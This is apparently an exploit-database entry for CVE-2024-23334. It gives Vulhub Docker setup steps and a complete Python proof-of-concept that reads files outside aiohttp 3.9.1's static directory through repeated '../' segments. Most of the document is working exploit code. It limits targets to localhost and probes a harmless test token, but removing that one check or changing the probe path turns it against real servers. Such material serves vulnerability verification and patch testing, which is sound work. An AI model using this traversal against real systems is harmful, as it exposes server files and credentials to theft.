aiohttp 3.9.1 - directory traversal PoC

# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)
# Google Dork: N/A
# Date: 2025-10-06
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.aiohttp.org / https://www.python.org
# Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1)
# Version: aiohttp 3.9.1 (vulnerable)
# Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1
# CVE: CVE-2024-23334

# Description:
# Proof-of-concept to verify directory-traversal behavior when aiohttp is configured
# to serve static files with follow_symlinks=True (affects aiohttp <= 3.9.1).
# This PoC is intentionally restricted to local testing and will refuse non-local targets.


# Environment setup (Vulhub example):
# 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory:
#      cd vulhub/python/aiohttp/3.9.1
# 2. Start the vulnerable service:
#      docker compose up -d
# 3. Verify the service is accessible on localhost:8080:
#      curl -v http://localhost:8080/   # should respond
#
# Prepare a safe probe file inside the container (non-sensitive):
# 1. Identify the container name or ID with `docker ps`.
# 2. Create a test token file inside the container:
#      docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt"
# 3. Verify:
#      docker exec -it <container> /bin/sh -c "cat /tmp/poc-aiohttp-test.txt"
#      # should print: POC-AIOHTTP-VULN-TEST
#
# How to run this PoC (local only):
# 1. Save this file as poc_aiohttp_cve-2024-23334.py
# 2. Run it on the host that has access to the vulnerable container's localhost port:
#      python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8
#



#!/usr/bin/env python3
"""
Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).
This script will refuse to target any host other than localhost/127.0.0.1/::1.

Example:
  python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8

If the vulnerable server returns the probe file contents, the script prints the body
and reports VULNERABLE.
"""

from __future__ import annotations

import argparse
import socket
import sys
import urllib.parse
import http.client

LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"}

def is_localhost(host: str) -> bool:
    """Only allow local hosts to avoid misuse."""
    return host in LOCAL_HOSTS

def build_traversal_path(probe_path: str, depth: int = 8) -> str:
    """
    Build a traversal-style path to append to /static/.
    Depth can be adjusted if the server root / static layout needs more ../ segments.
    """
    probe = probe_path.lstrip("/")
    ups = "../" * depth
    return f"/static/{ups}{probe}"

def try_connect(host: str, port: int, timeout: float = 3.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except Exception:
        return False

def send_get(host: str, port: int, path: str, timeout: float = 10.0):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"})
        resp = conn.getresponse()
        body = resp.read()
        return resp.status, body
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).")
    parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).")
    parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).")
    parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).")
    parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).")
    parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.")
    args = parser.parse_args()

    host = args.host.strip()
    port = int(args.port)

    if not is_localhost(host):
        print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr)
        sys.exit(2)

    # quick reachability check
    if not try_connect(host, port, timeout=3.0):
        print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr)
        sys.exit(3)

    path = build_traversal_path(args.probe, depth=args.depth)
    # encode path but keep slash and common safe chars
    path = urllib.parse.quote(path, safe="/?=&%")

    print(f"[*] Sending GET {path} to {host}:{port} (local lab only)")
    status, body = send_get(host, port, path, timeout=args.timeout)
    print(f"[+] HTTP {status}")

    if body:
        try:
            text = body.decode("utf-8", errors="replace")
        except Exception:
            text = repr(body)
        print("----- RESPONSE BODY START -----")
        print(text)
        print("----- RESPONSE BODY END -----")
        # heuristic: check for the expected test token
        if "POC-AIOHTTP-VULN-TEST" in text:
            print("[!] VULNERABLE: test token found in response (lab-confirmed).")
            sys.exit(0)
        else:
            print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.")
            sys.exit(1)
    else:
        print("[ ] Empty response body.")
        sys.exit(1)

if __name__ == "__main__":
    main()